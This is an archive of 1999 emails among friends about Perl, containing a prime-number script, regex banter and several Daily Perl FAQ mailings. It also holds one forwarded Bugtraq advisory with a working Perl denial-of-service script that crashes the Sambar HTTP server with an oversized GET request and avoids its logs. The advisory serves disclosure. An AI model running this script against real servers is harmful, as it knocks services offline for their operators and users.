From fancher@atlantic.net Thu Aug 26 11:43:49 1999 Return-Path: fancher@atlantic.net Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id LAA21429 for ; Thu, 26 Aug 1999 11:43:49 -0400 Received: from cyprus.atlantic.net (cyprus.atlantic.net [209.208.0.31]) by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id LAA25881 for ; Thu, 26 Aug 1999 11:43:49 -0400 Date: Thu, 26 Aug 1999 11:43:47 -0400 (EDT) From: PJ To: Travis Whitton Subject: prime numbers Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Status: RO X-Status: A I wrote my version of the prime number program. I'm not sure how efficient it is but I avoided using GOTO with lables. #!/usr/bin/perl @primes=$num=1; while($num) { $flag=1; foreach $i (@primes) { if (!($num % $i) && $i != 1) { $flag=0;$num++; } } if($flag) { print "$num\n"; push (@primes, $num);$num++; } } --PJ From tomb@atlantic.net Sun Sep 12 12:52:12 1999 Return-Path: tomb@atlantic.net Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id MAA02297; Sun, 12 Sep 1999 12:52:12 -0400 Received: from cyprus.atlantic.net (cyprus.atlantic.net [209.208.0.31]) by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id MAA06423; Sun, 12 Sep 1999 12:52:12 -0400 Date: Sun, 12 Sep 1999 12:52:11 -0400 (EDT) From: "tomb." To: Jeremy James , Travis Whitton Subject: cgi secure... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE X-Keywords: X-UID: 3 Status: RO X-Status: http://www.phrack.com/search.phtml?view&article=3Dp55-7 t=F8mb. God is in the details, and the devil is in the joints. From jjames@atlantic.net Sun Oct 3 23:42:24 1999 Return-Path: jjames@atlantic.net Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id XAA25820; Sun, 3 Oct 1999 23:42:23 -0400 Received: from cyprus.atlantic.net (cyprus.atlantic.net [209.208.0.31]) by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id XAA28410; Sun, 3 Oct 1999 23:42:23 -0400 Date: Sun, 3 Oct 1999 23:42:23 -0400 (EDT) From: Jeremy James To: Thomas Bartles , Travis Whitton , Last chance boy Subject: Forwarded mail.... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Status: RO X-Status: woohooo Jeremy James Most people would rather die than think; in fact, they do so. --Bertrand Russell ---------- Forwarded message ---------- Date: Mon, 4 Oct 1999 00:58:40 -0000 From: Dennis Conrad To: BUGTRAQ@SECURITYFOCUS.COM While testing the security of the Sambar HTTP-Server I found it vulnerable to a simple DOS attack. Sending a "GET XXXX(...a lot of Xs..)XXXX HTTP/1.0" crashes the Server. It will die WITHOUT logging the attack. My testing-environment: Sambar 4.2.1 M$IE 5.0 (de) Windows 95 C (de) Sample exploit code follows. Dennis Conrad (dennis@linuxstart.com) -------------------- #!/usr/bin/perl ######### # Sample DOS against the Sambar HTTP-Server # This was tested against Sambar 4.2.1 running on Windows95 C # This attack will NOT be logged! Only use it to determine if # your Server is vulnerable! # # Dennis Conrad (dennis@linuxstart.com) # use IO::Socket; print "+++++++++\n"; print "+ Simple DOS-attack against the Sambar HTTP-Server (tested 4.2.1)\n"; print "+ Found on the 3rd of October 1999 by dennis\@linuxstart.com\n\n"; if ($#ARGV != 0) { die "+ Please give the host address as argument\n" } opensocket ("\n"); print $remote "GET " . "X" x 99999999999999999999 . " HTTP/1.0\n\n"; close $remote; opensocket ("\n+ The server seemed to be vulnerable to this attack\n"); close $remote; die "+ The server does not seem to be vulnerable to this attack\n"; sub opensocket { $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $ARGV[0], PeerPort => "http(80)", ) || die "+ Can't open http-port on $ARGV[0]$_[0]"; $remote->autoflush(1) } # EOF -------------------- ------ Do you do Linux? :) Get your FREE @linuxstart.com email address at: http://www.linuxstart.com From jjames@atlantic.net Fri Oct 1 19:06:47 1999 Return-Path: jjames@atlantic.net Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id TAA06182; Fri, 1 Oct 1999 19:06:45 -0400 Received: from cyprus.atlantic.net (cyprus.atlantic.net [209.208.0.31]) by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id TAA03923; Fri, 1 Oct 1999 19:06:44 -0400 Date: Fri, 1 Oct 1999 19:06:44 -0400 (EDT) From: Jeremy James To: Travis Whitton cc: Thomas Bartles Subject: Re: Revision to oneliner In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Status: RO X-Status: A what is more accurate? and if you're going to use # to delimit a substitution you should probably use it throughout the expression... s#blabla/olaola#ig isn't very effective.. hahahaha Jeremy James GC/GCS/GIT/GL/GM/GPA/GS/GSS d->+ s: a-->+++$ C+++$ UBL+++$ P++++$ L+++ !E W++ N+ o-- K++ w--- O- M- V- PS+ PE(++) Y+ PGP t+ 5- X++ R* tv--() b++>+++ DI+ D+ G+ e*>+++++ h- r++>+++@ z+(++)>+++++@ On Fri, 1 Oct 1999, Travis Whitton wrote: > perl -pi -e 's## To: Jeremy James , Travis Whitton , "(; Not Hanson Boy ;)" , Brian McManus Subject: good article about wall Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Transfer-Encoding: QUOTED-PRINTABLE Status: RO X-Status: http://www.salon.com/21st/feature/1998/10/cov_13feature.html t=F8mb. God is in the details, and the devil is in the joints. From jjames@atlantic.net Tue Oct 5 13:46:28 1999 Return-Path: jjames@atlantic.net Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id NAA25698; Tue, 5 Oct 1999 13:46:27 -0400 Received: from cyprus.atlantic.net (cyprus.atlantic.net [209.208.0.31]) by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id NAA27306; Tue, 5 Oct 1999 13:46:27 -0400 Date: Tue, 5 Oct 1999 13:46:26 -0400 (EDT) From: Jeremy James To: Jeremy James , Thomas Bartles , Travis Whitton Subject: Daily Perl FAQ - How can I output my numbers with commas added? (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Status: RO X-Status: neat Jeremy James "Any technology sufficiently advanced is indistinguishable from a Perl script." --Larry Wall ---------- Forwarded message ---------- Date: 5 Oct 1999 10:43:26 -0000 From: daily_perl@yoak.com To: jjames@atlantic.net Subject: Daily Perl FAQ - How can I output my numbers with commas added? This is a daily mailing from the Perl FAQ a Day website. For subscription info, or to have your address removed from the mailing list, please see http://yoak.com/daily_perl/ -- Question: How can I output my numbers with commas added? This one will do it for you: sub commify { local $_ = shift; 1 while s/^(-?\d+)(\d{3})/$1,$2/; return $_; } $n = 23659019423.2331; print "GOT: ", commify($n), "\n"; GOT: 23,659,019,423.2331 You can't just: s/^(-?\d+)(\d{3})/$1,$2/g; because you have to put the comma in and then recalculate your position. Alternatively, this commifies all numbers in a line regardless of whether they have decimal portions, are preceded by + or -, or whatever: # from Andrew Johnson sub commify { my $input = shift; $input = reverse $input; $input =~ s<(\d\d\d)(?=\d)(?!\d*\.)><$1,>g; return reverse $input; } -- The contents of this message are part of the Perl FAQ: Please note that "I" below refers to FAQ authors, and *not* Jeff Yoak or Perl FAQ a Day. Where to get this document [the Perl FAQ] This document is posted regularly to comp.lang.perl.announce and several other related newsgroups. It is available in a variety of formats from CPAN in the /CPAN/doc/FAQs/FAQ/ directory, or on the web at http://www.perl.com/perl/faq/ . CREDITS When I first began the Perl FAQ in the late 80s, I never realized it would have grown to over a hundred pages, nor that Perl would ever become so popular and widespread. This document could not have been written without the tremendous help provided by Larry Wall and the rest of the Perl Porters. AUTHOR AND COPYRIGHT INFORMATION Copyright (c) 1997 Tom Christiansen and Nathan Torkington. All rights reserved. -- 139 . From jeffy@horton.bigbrother.com Wed Oct 6 06:50:11 1999 Return-Path: jeffy@horton.bigbrother.com Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id GAA03225 for ; Wed, 6 Oct 1999 06:50:10 -0400 Received: from horton.bigbrother.com (horton.bigbrother.com [204.80.113.57]) by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id GAA20899 for ; Wed, 6 Oct 1999 06:50:10 -0400 Received: (qmail 16856 invoked by uid 669); 6 Oct 1999 10:43:38 -0000 Date: 6 Oct 1999 10:43:38 -0000 Message-ID: <19991006104338.16855.qmail@horton.bigbrother.com> To: whitton@atlantic.net From: daily_perl@yoak.com Subject: Daily Perl FAQ - How do I convert bits into ints? Status: RO X-Status: This is a daily mailing from the Perl FAQ a Day website. For subscription info, or to have your address removed from the mailing list, please see http://yoak.com/daily_perl/ -- Question: How do I convert bits into ints? To turn a string of 1s and 0s like `10110110' into a scalar containing its binary value, use the pack() function (documented in the section on "pack" in the perlfunc manpage): $decimal = pack('B8', '10110110'); Here's an example of going the other way: $binary_string = join('', unpack('B*', "\x29")); -- The contents of this message are part of the Perl FAQ: Please note that "I" below refers to FAQ authors, and *not* Jeff Yoak or Perl FAQ a Day. Where to get this document [the Perl FAQ] This document is posted regularly to comp.lang.perl.announce and several other related newsgroups. It is available in a variety of formats from CPAN in the /CPAN/doc/FAQs/FAQ/ directory, or on the web at http://www.perl.com/perl/faq/ . CREDITS When I first began the Perl FAQ in the late 80s, I never realized it would have grown to over a hundred pages, nor that Perl would ever become so popular and widespread. This document could not have been written without the tremendous help provided by Larry Wall and the rest of the Perl Porters. AUTHOR AND COPYRIGHT INFORMATION Copyright (c) 1997 Tom Christiansen and Nathan Torkington. All rights reserved. -- 66 . From jeffy@horton.bigbrother.com Thu Oct 7 06:57:53 1999 Return-Path: jeffy@horton.bigbrother.com Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id GAA14373 for ; Thu, 7 Oct 1999 06:57:53 -0400 Received: from horton.bigbrother.com (horton.bigbrother.com [204.80.113.57]) by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id GAA26455 for ; Thu, 7 Oct 1999 06:57:52 -0400 Received: (qmail 30853 invoked by uid 669); 7 Oct 1999 10:43:53 -0000 Date: 7 Oct 1999 10:43:53 -0000 Message-ID: <19991007104353.30852.qmail@horton.bigbrother.com> To: whitton@atlantic.net From: daily_perl@yoak.com Subject: Daily Perl FAQ - Perl Books Status: RO X-Status: This is a daily mailing from the Perl FAQ a Day website. For subscription info, or to have your address removed from the mailing list, please see http://yoak.com/daily_perl/ -- Question: Perl Books A number of books on Perl and/or CGI programming are available. A few of these are good, some are ok, but many aren't worth your money. Tom Christiansen maintains a list of these books, some with extensive reviews, at http://www.perl.com/perl/critiques/index.html. The incontestably definitive reference book on Perl, written by the creator of Perl, is now in its second edition: Programming Perl (the "Camel Book"): Authors: Larry Wall, Tom Christiansen, and Randal Schwartz ISBN 1-56592-149-6 (English) ISBN 4-89052-384-7 (Japanese) URL: http://www.oreilly.com/catalog/pperl2/ (French, German, Italian, and Hungarian translations also available) The companion volume to the Camel containing thousands of real- world examples, mini-tutorials, and complete programs (first premiering at the 1998 Perl Conference), is: The Perl Cookbook (the "Ram Book"): Authors: Tom Christiansen and Nathan Torkington, with Foreword by Larry Wall ISBN: 1-56592-243-3 URL: http://perl.oreilly.com/cookbook/ If you're already a hard-core systems programmer, then the Camel Book might suffice for you to learn Perl from. But if you're not, check out: Learning Perl (the "Llama Book"): Authors: Randal Schwartz and Tom Christiansen with Foreword by Larry Wall ISBN: 1-56592-284-0 URL: http://www.oreilly.com/catalog/lperl2/ Despite the picture at the URL above, the second edition of "Llama Book" really has a blue cover, and is updated for the 5.004 release of Perl. Various foreign language editions are available, including *Learning Perl on Win32 Systems* (the Gecko Book). If you're not an accidental programmer, but a more serious and possibly even degreed computer scientist who doesn't need as much hand-holding as we try to provide in the Llama or its defurred cousin the Gecko, please check out the delightful book, *Perl: The Programmer's Companion*, written by Nigel Chapman. You can order O'Reilly books directly from O'Reilly & Associates, 1-800-998-9938. Local/overseas is 1-707-829-0515. If you can locate an O'Reilly order form, you can also fax to 1-707-829-0104. See http://www.ora.com/ on the Web. What follows is a list of the books that the FAQ authors found personally useful. Your mileage may (but, we hope, probably won't) vary. Recommended books on (or muchly on) Perl follow; those marked with a star may be ordered from O'Reilly. References *Programming Perl by Larry Wall, Tom Christiansen, and Randal L. Schwartz *Perl 5 Desktop Reference By Johan Vromans Tutorials *Learning Perl [2nd edition] by Randal L. Schwartz and Tom Christiansen with foreword by Larry Wall *Learning Perl on Win32 Systems by Randal L. Schwartz, Erik Olson, and Tom Christiansen, with foreword by Larry Wall Perl: The Programmer's Companion by Nigel Chapman Cross-Platform Perl by Eric F. Johnson MacPerl: Power and Ease by Vicki Brown and Chris Nandor, foreword by Matthias Neeracher Task-Oriented *The Perl Cookbook by Tom Christiansen and Nathan Torkington with foreword by Larry Wall Perl5 Interactive Course [2nd edition] by Jon Orwant *Advanced Perl Programming by Sriram Srinivasan Effective Perl Programming by Joseph Hall Special Topics *Mastering Regular Expressions by Jeffrey Friedl How to Set up and Maintain a World Wide Web Site [2nd edition] by Lincoln Stein -- The contents of this message are part of the Perl FAQ: Please note that "I" below refers to FAQ authors, and *not* Jeff Yoak or Perl FAQ a Day. Where to get this document [the Perl FAQ] This document is posted regularly to comp.lang.perl.announce and several other related newsgroups. It is available in a variety of formats from CPAN in the /CPAN/doc/FAQs/FAQ/ directory, or on the web at http://www.perl.com/perl/faq/ . CREDITS When I first began the Perl FAQ in the late 80s, I never realized it would have grown to over a hundred pages, nor that Perl would ever become so popular and widespread. This document could not have been written without the tremendous help provided by Larry Wall and the rest of the Perl Porters. AUTHOR AND COPYRIGHT INFORMATION Copyright (c) 1997 Tom Christiansen and Nathan Torkington. All rights reserved. -- 25 . From jeffy@horton.bigbrother.com Fri Oct 8 06:50:24 1999 Return-Path: jeffy@horton.bigbrother.com Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id GAA25161 for ; Fri, 8 Oct 1999 06:50:23 -0400 Received: from horton.bigbrother.com (horton.bigbrother.com [204.80.113.57]) by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id GAA05575 for ; Fri, 8 Oct 1999 06:50:22 -0400 Received: (qmail 11851 invoked by uid 669); 8 Oct 1999 10:43:40 -0000 Date: 8 Oct 1999 10:43:40 -0000 Message-ID: <19991008104340.11850.qmail@horton.bigbrother.com> To: whitton@atlantic.net From: daily_perl@yoak.com Subject: Daily Perl FAQ - How do I do a `tail -f' in perl? Status: RO X-Status: This is a daily mailing from the Perl FAQ a Day website. For subscription info, or to have your address removed from the mailing list, please see http://yoak.com/daily_perl/ -- Question: How do I do a `tail -f' in perl? First try seek(GWFILE, 0, 1); The statement `seek(GWFILE, 0, 1)' doesn't change the current position, but it does clear the end-of-file condition on the handle, so that the next makes Perl try again to read something. If that doesn't work (it relies on features of your stdio implementation), then you need something more like this: for (;;) { for ($curpos = tell(GWFILE); ; $curpos = tell(GWFILE)) { # search for some stuff and put it into files } # sleep for a while seek(GWFILE, $curpos, 0); # seek to where we had been } If this still doesn't work, look into the POSIX module. POSIX defines the clearerr() method, which can remove the end of file condition on a filehandle. The method: read until end of file, clearerr(), read some more. Lather, rinse, repeat. -- The contents of this message are part of the Perl FAQ: Please note that "I" below refers to FAQ authors, and *not* Jeff Yoak or Perl FAQ a Day. Where to get this document [the Perl FAQ] This document is posted regularly to comp.lang.perl.announce and several other related newsgroups. It is available in a variety of formats from CPAN in the /CPAN/doc/FAQs/FAQ/ directory, or on the web at http://www.perl.com/perl/faq/ . CREDITS When I first began the Perl FAQ in the late 80s, I never realized it would have grown to over a hundred pages, nor that Perl would ever become so popular and widespread. This document could not have been written without the tremendous help provided by Larry Wall and the rest of the Perl Porters. AUTHOR AND COPYRIGHT INFORMATION Copyright (c) 1997 Tom Christiansen and Nathan Torkington. All rights reserved. -- 156 . From jeffy@horton.bigbrother.com Mon Oct 11 06:48:42 1999 Return-Path: jeffy@horton.bigbrother.com Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id GAA31952 for ; Mon, 11 Oct 1999 06:48:42 -0400 Received: from horton.bigbrother.com (horton.bigbrother.com [204.80.113.57]) by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id GAA15784 for ; Mon, 11 Oct 1999 06:48:41 -0400 Received: (qmail 7926 invoked by uid 669); 11 Oct 1999 10:43:28 -0000 Date: 11 Oct 1999 10:43:28 -0000 Message-ID: <19991011104328.7925.qmail@horton.bigbrother.com> To: whitton@atlantic.net From: daily_perl@yoak.com Subject: Daily Perl FAQ - How can I make my CGI script more efficient? Status: RO X-Status: This is a daily mailing from the Perl FAQ a Day website. For subscription info, or to have your address removed from the mailing list, please see http://yoak.com/daily_perl/ -- Question: How can I make my CGI script more efficient? Beyond the normal measures described to make general Perl programs faster or smaller, a CGI program has additional issues. It may be run several times per second. Given that each time it runs it will need to be re-compiled and will often allocate a megabyte or more of system memory, this can be a killer. Compiling into C isn't going to help you because the process start-up overhead is where the bottleneck is. There are two popular ways to avoid this overhead. One solution involves running the Apache HTTP server (available from http://www.apache.org/) with either of the mod_perl or mod_fastcgi plugin modules. With mod_perl and the Apache::Registry module (distributed with mod_perl), httpd will run with an embedded Perl interpreter which pre-compiles your script and then executes it within the same address space without forking. The Apache extension also gives Perl access to the internal server API, so modules written in Perl can do just about anything a module written in C can. For more on mod_perl, see http://perl.apache.org/ With the FCGI module (from CPAN), a Perl executable compiled with sfio (see the INSTALL file in the distribution) and the mod_fastcgi module (available from http://www.fastcgi.com/) each of your perl scripts becomes a permanent CGI daemon process. Both of these solutions can have far-reaching effects on your system and on the way you write your CGI scripts, so investigate them with care. See http://www.perl.com/CPAN/modules/by- category/15_World_Wide_Web_HTML_HTTP_CGI/ . A non-free, commerical product, ``The Velocity Engine for Perl'', (http://www.binevolve.com/ or http://www.binevolve.com/bine/vep) might also be worth looking at. It will allow you to increase the performance of your perl scripts, upto 25 times faster than normal CGI perl by running in persistent perl mode, or 4 to 5 times faster without any modification to your existing CGI scripts. Fully functional evaluation copies are available from the web site. -- The contents of this message are part of the Perl FAQ: Please note that "I" below refers to FAQ authors, and *not* Jeff Yoak or Perl FAQ a Day. Where to get this document [the Perl FAQ] This document is posted regularly to comp.lang.perl.announce and several other related newsgroups. It is available in a variety of formats from CPAN in the /CPAN/doc/FAQs/FAQ/ directory, or on the web at http://www.perl.com/perl/faq/ . CREDITS When I first began the Perl FAQ in the late 80s, I never realized it would have grown to over a hundred pages, nor that Perl would ever become so popular and widespread. This document could not have been written without the tremendous help provided by Larry Wall and the rest of the Perl Porters. AUTHOR AND COPYRIGHT INFORMATION Copyright (c) 1997 Tom Christiansen and Nathan Torkington. All rights reserved. -- 51 . From jeffy@horton.bigbrother.com Sat Oct 9 06:47:58 1999 Return-Path: jeffy@horton.bigbrother.com Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id GAA03149 for ; Sat, 9 Oct 1999 06:47:57 -0400 Received: from horton.bigbrother.com (horton.bigbrother.com [204.80.113.57]) by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id GAA31650 for ; Sat, 9 Oct 1999 06:47:57 -0400 Received: (qmail 20346 invoked by uid 669); 9 Oct 1999 10:43:47 -0000 Date: 9 Oct 1999 10:43:47 -0000 Message-ID: <19991009104347.20345.qmail@horton.bigbrother.com> To: whitton@atlantic.net From: daily_perl@yoak.com Subject: Daily Perl FAQ - What's a closure? Status: RO X-Status: This is a daily mailing from the Perl FAQ a Day website. For subscription info, or to have your address removed from the mailing list, please see http://yoak.com/daily_perl/ -- Question: What's a closure? Closures are documented in the perlref manpage. *Closure* is a computer science term with a precise but hard-to- explain meaning. Closures are implemented in Perl as anonymous subroutines with lasting references to lexical variables outside their own scopes. These lexicals magically refer to the variables that were around when the subroutine was defined (deep binding). Closures make sense in any programming language where you can have the return value of a function be itself a function, as you can in Perl. Note that some languages provide anonymous functions but are not capable of providing proper closures; the Python language, for example. For more information on closures, check out any textbook on functional programming. Scheme is a language that not only supports but encourages closures. Here's a classic function-generating function: sub add_function_generator { return sub { shift + shift }; } $add_sub = add_function_generator(); $sum = $add_sub->(4,5); # $sum is 9 now. The closure works as a *function template* with some customization slots left out to be filled later. The anonymous subroutine returned by add_function_generator() isn't technically a closure because it refers to no lexicals outside its own scope. Contrast this with the following make_adder() function, in which the returned anonymous function contains a reference to a lexical variable outside the scope of that function itself. Such a reference requires that Perl return a proper closure, thus locking in for all time the value that the lexical had when the function was created. sub make_adder { my $addpiece = shift; return sub { shift + $addpiece }; } $f1 = make_adder(20); $f2 = make_adder(555); Now `&$f1($n)' is always 20 plus whatever $n you pass in, whereas `&$f2($n)' is always 555 plus whatever $n you pass in. The $addpiece in the closure sticks around. Closures are often used for less esoteric purposes. For example, when you want to pass in a bit of code into a function: my $line; timeout( 30, sub { $line = } ); If the code to execute had been passed in as a string, `'$line = '', there would have been no way for the hypothetical timeout() function to access the lexical variable $line back in its caller's scope. -- The contents of this message are part of the Perl FAQ: Please note that "I" below refers to FAQ authors, and *not* Jeff Yoak or Perl FAQ a Day. Where to get this document [the Perl FAQ] This document is posted regularly to comp.lang.perl.announce and several other related newsgroups. It is available in a variety of formats from CPAN in the /CPAN/doc/FAQs/FAQ/ directory, or on the web at http://www.perl.com/perl/faq/ . CREDITS When I first began the Perl FAQ in the late 80s, I never realized it would have grown to over a hundred pages, nor that Perl would ever become so popular and widespread. This document could not have been written without the tremendous help provided by Larry Wall and the rest of the Perl Porters. AUTHOR AND COPYRIGHT INFORMATION Copyright (c) 1997 Tom Christiansen and Nathan Torkington. All rights reserved. -- 196 . From jeffy@horton.bigbrother.com Mon Oct 11 06:48:42 1999 Return-Path: jeffy@horton.bigbrother.com Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id GAA31952 for ; Mon, 11 Oct 1999 06:48:42 -0400 Received: from horton.bigbrother.com (horton.bigbrother.com [204.80.113.57]) by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id GAA15784 for ; Mon, 11 Oct 1999 06:48:41 -0400 Received: (qmail 7926 invoked by uid 669); 11 Oct 1999 10:43:28 -0000 Date: 11 Oct 1999 10:43:28 -0000 Message-ID: <19991011104328.7925.qmail@horton.bigbrother.com> To: whitton@atlantic.net From: daily_perl@yoak.com Subject: Daily Perl FAQ - How can I make my CGI script more efficient? Status: RO X-Status: This is a daily mailing from the Perl FAQ a Day website. For subscription info, or to have your address removed from the mailing list, please see http://yoak.com/daily_perl/ -- Question: How can I make my CGI script more efficient? Beyond the normal measures described to make general Perl programs faster or smaller, a CGI program has additional issues. It may be run several times per second. Given that each time it runs it will need to be re-compiled and will often allocate a megabyte or more of system memory, this can be a killer. Compiling into C isn't going to help you because the process start-up overhead is where the bottleneck is. There are two popular ways to avoid this overhead. One solution involves running the Apache HTTP server (available from http://www.apache.org/) with either of the mod_perl or mod_fastcgi plugin modules. With mod_perl and the Apache::Registry module (distributed with mod_perl), httpd will run with an embedded Perl interpreter which pre-compiles your script and then executes it within the same address space without forking. The Apache extension also gives Perl access to the internal server API, so modules written in Perl can do just about anything a module written in C can. For more on mod_perl, see http://perl.apache.org/ With the FCGI module (from CPAN), a Perl executable compiled with sfio (see the INSTALL file in the distribution) and the mod_fastcgi module (available from http://www.fastcgi.com/) each of your perl scripts becomes a permanent CGI daemon process. Both of these solutions can have far-reaching effects on your system and on the way you write your CGI scripts, so investigate them with care. See http://www.perl.com/CPAN/modules/by- category/15_World_Wide_Web_HTML_HTTP_CGI/ . A non-free, commerical product, ``The Velocity Engine for Perl'', (http://www.binevolve.com/ or http://www.binevolve.com/bine/vep) might also be worth looking at. It will allow you to increase the performance of your perl scripts, upto 25 times faster than normal CGI perl by running in persistent perl mode, or 4 to 5 times faster without any modification to your existing CGI scripts. Fully functional evaluation copies are available from the web site. -- The contents of this message are part of the Perl FAQ: Please note that "I" below refers to FAQ authors, and *not* Jeff Yoak or Perl FAQ a Day. Where to get this document [the Perl FAQ] This document is posted regularly to comp.lang.perl.announce and several other related newsgroups. It is available in a variety of formats from CPAN in the /CPAN/doc/FAQs/FAQ/ directory, or on the web at http://www.perl.com/perl/faq/ . CREDITS When I first began the Perl FAQ in the late 80s, I never realized it would have grown to over a hundred pages, nor that Perl would ever become so popular and widespread. This document could not have been written without the tremendous help provided by Larry Wall and the rest of the Perl Porters. AUTHOR AND COPYRIGHT INFORMATION Copyright (c) 1997 Tom Christiansen and Nathan Torkington. All rights reserved. -- 51 . From jeffy@horton.bigbrother.com Tue Oct 12 06:47:20 1999 Return-Path: jeffy@horton.bigbrother.com Received: from smtp1.atlantic.net (smtp.atlantic.net [209.208.0.33]) by rio.atlantic.net (8.8.7/8.8.7) with ESMTP id GAA12989 for ; Tue, 12 Oct 1999 06:47:20 -0400 Received: from horton.bigbrother.com (horton.bigbrother.com [204.80.113.57]) by smtp1.atlantic.net (8.9.3/8.9.1) with SMTP id GAA12474 for ; Tue, 12 Oct 1999 06:47:20 -0400 Received: (qmail 31449 invoked by uid 669); 12 Oct 1999 10:43:18 -0000 Date: 12 Oct 1999 10:43:18 -0000 Message-ID: <19991012104318.31448.qmail@horton.bigbrother.com> To: whitton@atlantic.net From: daily_perl@yoak.com Subject: Daily Perl FAQ - How do I define methods for every class/object? Status: RO X-Status: This is a daily mailing from the Perl FAQ a Day website. For subscription info, or to have your address removed from the mailing list, please see http://yoak.com/daily_perl/ -- Question: How do I define methods for every class/object? Use the UNIVERSAL class (see the UNIVERSAL manpage). -- The contents of this message are part of the Perl FAQ: Please note that "I" below refers to FAQ authors, and *not* Jeff Yoak or Perl FAQ a Day. Where to get this document [the Perl FAQ] This document is posted regularly to comp.lang.perl.announce and several other related newsgroups. It is available in a variety of formats from CPAN in the /CPAN/doc/FAQs/FAQ/ directory, or on the web at http://www.perl.com/perl/faq/ . CREDITS When I first began the Perl FAQ in the late 80s, I never realized it would have grown to over a hundred pages, nor that Perl would ever become so popular and widespread. This document could not have been written without the tremendous help provided by Larry Wall and the rest of the Perl Porters. AUTHOR AND COPYRIGHT INFORMATION Copyright (c) 1997 Tom Christiansen and Nathan Torkington. All rights reserved. -- 128 .